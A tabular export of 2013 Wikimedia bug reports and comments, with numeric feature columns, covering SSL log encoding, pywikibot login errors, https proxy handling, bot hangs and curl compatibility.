+**Severity**: normal",Needs Triage,90.0,1387750200,1389727536.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_description,resolved,True,c3,1,True,False,True,-80,True,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+263378,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"Change 105449 merged by Ottomata:
+Log correctly encoded url with parameters for nginx
+
+https://gerrit.wikimedia.org/r/105449",,,1389725821,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+263376,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"Change 105449 had a related patch set uploaded by QChris:
+Log correctly encoded url with parameters for nginx
+
+https://gerrit.wikimedia.org/r/105449",,,1388859609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+263372,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/1351",,,1387751810,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+263368,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"The problem does not show on sampled-1000, mobile, zero stream but is
+visible on unsampled streams that do not filter to hosts. So for example
+the edit stream, and webstatscollector output (and hence stats.grok.se).
+
+Especially the exposure of this problem through webstatscollector, seems
+problematic, as people start to add redirects for the non-existing but
+seemingly requested \x encoded URLs. :-/
+(See bug 58316)",,,1387751056,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+263363,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"Actual request and log entries:
+
+
+
+* request:
+
+___________________________________________________________
+christian@spencer // 0 // 21:32:57
+cwd: ~/tmp/encoding-test
+LC_ALL=C wget https://ru.wikipedia.org/wiki/1092_год
+--2013-12-22 21:34:14--  https://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4
+Resolving ru.wikipedia.org... 91.198.174.192
+Connecting to ru.wikipedia.org|91.198.174.192|:443... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: unspecified [text/html]
+Saving to: `1092_\320\263\320\276\320\264.2'
+
+    [ <=>                                                            ] 80,537       510K/s   in 0.2s
+
+2013-12-22 21:34:15 (510 KB/s) - `1092_\320\263\320\276\320\264' saved [80537]
+
+
+
+* Corresponding log entries from udp2log stream:
+
+amssq57.esams.wikimedia.org	4663480343	2013-12-22T20:34:15	0.596358538	$WIKIMEDIA_IP	miss/200	80537	GET	http://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4	-	text/html; charset=UTF-8	-	$MY_IP	Wget/ (linux-gnu)	-	-
+ssl3002	454288692	2013-12-22T20:34:15.377	0.950	$MY_IP	-/200	81682	GET	https://ru.wikipedia.org/wiki/1092_\xD0\xB3\xD0\xBE\xD0\xB4	NONE/wikimedia	-	-	-	Wget/%20(linux-gnu)	-	-",,,1387750288,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+60818,"PYWP-10 Login needed for reading site, causing NoUsername exceptions","This issue was converted from https://jira.toolserver.org/browse/PYWP-10.
+Summary: Login needed for reading site, causing NoUsername exceptions
+Issue type: Bug - A problem which impairs or prevents the functions of the product.
+Priority: Blocker
+Status: Open
+Assignee: Merlijn van Deen <valhallasw@arctus.nl>
+
+On Fri, 21 Jan 2011 22:18:49, Merlijn van Deen <valhallasw@arctus.nl> opened the following bug:
+> (pwbde)valhallasw@dorthonion:~/src/pwbde/pwb-
+> flat/branches/rewrite/scripts$ cat test.py from pywikibot import
+> Page, Site print Page(Site('de', 'wikipedia'), 'test').site
+> (pwbde)valhallasw@dorthonion:~/src/pwbde/pwb-
+> flat/branches/rewrite/scripts$ python test.py Traceback (most recent
+> call last):   File ""test.py"", line 2, in <module>     print
+> Page(Site('de', 'wikipedia'), 'test').site   File
+> ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/page.py"", line 94, in site
+> return self._link.site   File ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/page.py"", line 2358, in site
+> self.parse()   File ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/page.py"", line 2341, in parse     if
+> self._site.case() == 'first-letter':   File
+> ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/site.py"", line 970, in case
+> return self.siteinfo['case']   File ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/site.py"", line 964, in siteinfo
+> self._getsiteinfo()   File ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/site.py"", line 921, in _getsiteinfo
+> sidata = sirequest.submit()   File ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/data/api.py"", line 219, in submit
+> self.site.login(False)   File ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/site.py"", line 703, in login
+> user=self._username[sysop])   File ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/__init__.py"", line 124, in wrapper
+> return method(*__args, **__kw)   File ""/home/valhallasw/src/pwbde
+> /pwb-flat/branches/rewrite/pywikibot/__init__.py"", line 124, in
+> wrapper     return method(*__args, **__kw)   File
+> ""/home/valhallasw/src/pwbde/pwb-
+> flat/branches/rewrite/pywikibot/login.py"", line 105, in __init__
+> 'wiki_code': self.site.code}) pywikibot.exceptions.NoUsername:
+> ERROR: Username for wikipedia:de is undefined. If you have an
+> account for that site, please add a line to user-config.py:
+> usernames['wikipedia']['de'] = 'myUsername'
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: blocker",Needs Triage,90.0,1387662960,1390765432.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-szm5o75zx4h3sy7iigwg,task_description,resolved,True,c3,1,False,False,True,-80,True,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1
+260958,"PYWP-10 Login needed for reading site, causing NoUsername exceptions","I think so -- this was an issue a long time ago, but at some point I fixed it.",,,1390765432,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-szm5o75zx4h3sy7iigwg,task_subcomment,,True,c3,1,True,,,-75,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+260951,"PYWP-10 Login needed for reading site, causing NoUsername exceptions","**pyfisch** wrote:
+
+I can not reproduce this bug. Maybe it was fixed?",,,1390762564,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-szm5o75zx4h3sy7iigwg,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+60629,Error 500 on login,"First time I tried to login via Meta, I got an error 500. This might have been because I had cookies disabled for metrics.wmflabs.org: after I whitelisted it, I didn't get any error.
+
+May be the same as bug 52749.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1387359180,1389815205.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_description,declined,True,c3,1,True,False,True,-81,True,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+273038,Error 500 on login,"I'm closing this, nobody's reported anything similar and lots of people are logging in daily.",,,1389815205,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_subcomment,,True,c3,1,False,,,-77,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+273028,Error 500 on login,"We haven't seen any reports of this. I'll re-up the priority if we do.
+
+-Toby",,,1387415490,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_subcomment,,True,c3,1,False,,,-80,True,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+273022,Error 500 on login,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/1328",,,1387360025,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_subcomment,,True,c3,1,False,,,-81,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+60548,proxy directive ignored for https connections,"proxy = {'host': 'localhost:8080', 'auth': None}
+
+is ignored for https connections, and thus has been broken for WMF sites since the forced https switch.
+
+--------------------------
+**Version**: compat-(1.0)
+**Severity**: normal",Needs Triage,90.0,1387226940,1387277306.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-x3y2zws47ydg7taxwsez,task_description,resolved,True,c3,1,True,False,True,-81,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+268660,proxy directive ignored for https connections,"Change 101998 merged by jenkins-bot:
+(bug 58548) use proxy also for https connections
+
+https://gerrit.wikimedia.org/r/101998",,,1387261328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3y2zws47ydg7taxwsez,task_subcomment,,True,c3,1,False,,,-81,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268655,proxy directive ignored for https connections,"Change 101998 had a related patch set uploaded by Merlijn van Deen:
+(bug 58548) use proxy also for https connections
+
+https://gerrit.wikimedia.org/r/101998",,,1387227462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3y2zws47ydg7taxwsez,task_subcomment,,True,c3,1,False,,,-81,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+60463,IE6: login looks ugly,"login looks ugly in IE6
+
+Login to http://en.wikipedia.beta.wmflabs.org/ with IE6
+
+Input fields and text are skewed.  
+
+Login works though, so low priority
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F12165}",Needs Triage,90.0,1386967200,1386967436.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-j75zsjrbuxd3lpaid4bp,task_description,resolved,True,c3,1,False,False,True,-81,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264325,IE6: login looks ugly,"
+
+*** This bug has been marked as a duplicate of bug 48188 ***",,,1386967436,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j75zsjrbuxd3lpaid4bp,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+60392,Bot hangs after HTTP/301 response,"See https://gerrit.wikimedia.org/r/#/c/100980/2; possibly related to https://bugzilla.wikimedia.org/show_bug.cgi?id=55127
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Needs Triage,90.0,1386852120,1391369763.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-3r6hgmlrzmtavftcvbpq,task_description,resolved,True,c3,1,True,False,True,-81,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+260281,Bot hangs after HTTP/301 response,It happens again and the bot hangs for unknown reasons,,,1388636594,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-3r6hgmlrzmtavftcvbpq,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+260273,Bot hangs after HTTP/301 response,Seems that this bug has been solved with the change above. I didn't had bot hanging since that fix.,,,1388500263,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-3r6hgmlrzmtavftcvbpq,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+60284,Tool Labs SSL intermediate certificate needed,"The site certificate is not trusted in all web browsers. Chrome for Android, for instance, shows a warning when visiting https://tools.wmflabs.org. Adding an intermediate certificate should fix this, per
+
+https://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1386703380,1391550536.0,PHID-USER-53x4y44yt43qjivfzsqf,False,,False,PHID-TASK-bwzwbwqekfbhukpeslab,task_description,resolved,True,c3,1,False,False,True,-82,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+279428,Tool Labs SSL intermediate certificate needed,"
+
+*** This bug has been marked as a duplicate of bug 52630 ***",,,1391550536,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-bwzwbwqekfbhukpeslab,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+60178,CurlHttpRequest fails with curl < 7.16.2,"**Author:** `slboat`
+
+**Description:**
+i found this,is maybe a bug?
+
+PHP Notice:  Use of undefined constant CURLOPT_CONNECTTIMEOUT_MS - assumed 'CURLOPT_CONNECTTIMEOUT_MS' in w/includes/HttpFunctions.php on line 733
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",Needs Triage,90.0,1386498420,1387272888.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-byoaktkga35sqw3l6qkm,task_description,resolved,True,c3,1,False,False,True,-82,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+272667,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:
+
+i so happy it be fixed!yep,i use centos 5,if update the curl which a lot probelm,the php53 cant install anymore,it need [yum install curl]for it!
+so this is just very great for the people like me.",,,1387720047,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-80,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1
+272661,CurlHttpRequest fails with curl < 7.16.2,All patches merged. Assuming this is RESOLVED FIXED.,,,1387272888,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-81,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+272654,CurlHttpRequest fails with curl < 7.16.2,"Change 100556 merged by jenkins-bot:
+Restore compatibility with curl < 7.16.2
+
+https://gerrit.wikimedia.org/r/100556",,,1386679101,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+272648,CurlHttpRequest fails with curl < 7.16.2,"Change 100556 had a related patch set uploaded by MarkAHershberger:
+Restore compatibility with curl < 7.16.2
+
+https://gerrit.wikimedia.org/r/100556",,,1386678799,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+272641,CurlHttpRequest fails with curl < 7.16.2,"Change 100390 merged by jenkins-bot:
+Restore compatibility with curl < 7.16.2
+
+https://gerrit.wikimedia.org/r/100390",,,1386611366,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+272635,CurlHttpRequest fails with curl < 7.16.2,"(In reply to comment #11)
+> Do we have evidence that any supported version of any popular distro is
+> affected? If so, we should take some care to maintain compatibility.
+> Otherwise,
+> we can't maintain compatibility with infinite number of DIY distros/PHP
+> builds.
+
+RHEL/CentOS 5, though MW 1.22 is also incompatible with that distribution's php53 package in a different way (bug 58213).
+
+If we do wish to drop support for old versions of curl, we should add:
+
+* a version check in MWHttpRequest::factory(); and
+* an entry in the RELEASE-NOTES file.",,,1386609549,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+272627,CurlHttpRequest fails with curl < 7.16.2,"Do we have evidence that any supported version of any popular distro is affected? If so, we should take some care to maintain compatibility. Otherwise, we can't maintain compatibility with infinite number of DIY distros/PHP builds.",,,1386608976,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+272617,CurlHttpRequest fails with curl < 7.16.2,"I'm inclined to reclose this.
+
+We require PHP 5.3.2, which was released 4 March 2010. Curl 7.16.2 was released 11 April *2007*, almost three years earlier. Do we really need to maintain compatibility with a version of a library that's almost 7 years old and is 3 years older than other software we require?",,,1386607593,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+272610,CurlHttpRequest fails with curl < 7.16.2,"Change 100390 had a related patch set uploaded by PleaseStand:
+Restore compatibility with curl < 7.16.2
+
+https://gerrit.wikimedia.org/r/100390",,,1386606837,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+272604,CurlHttpRequest fails with curl < 7.16.2,"Reopening. This was needless breakage caused by gerrit 58247,
+which added a feature chiefly for Wikimedia's use. Fortunately, the
+patch is very, very simple.",,,1386606393,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
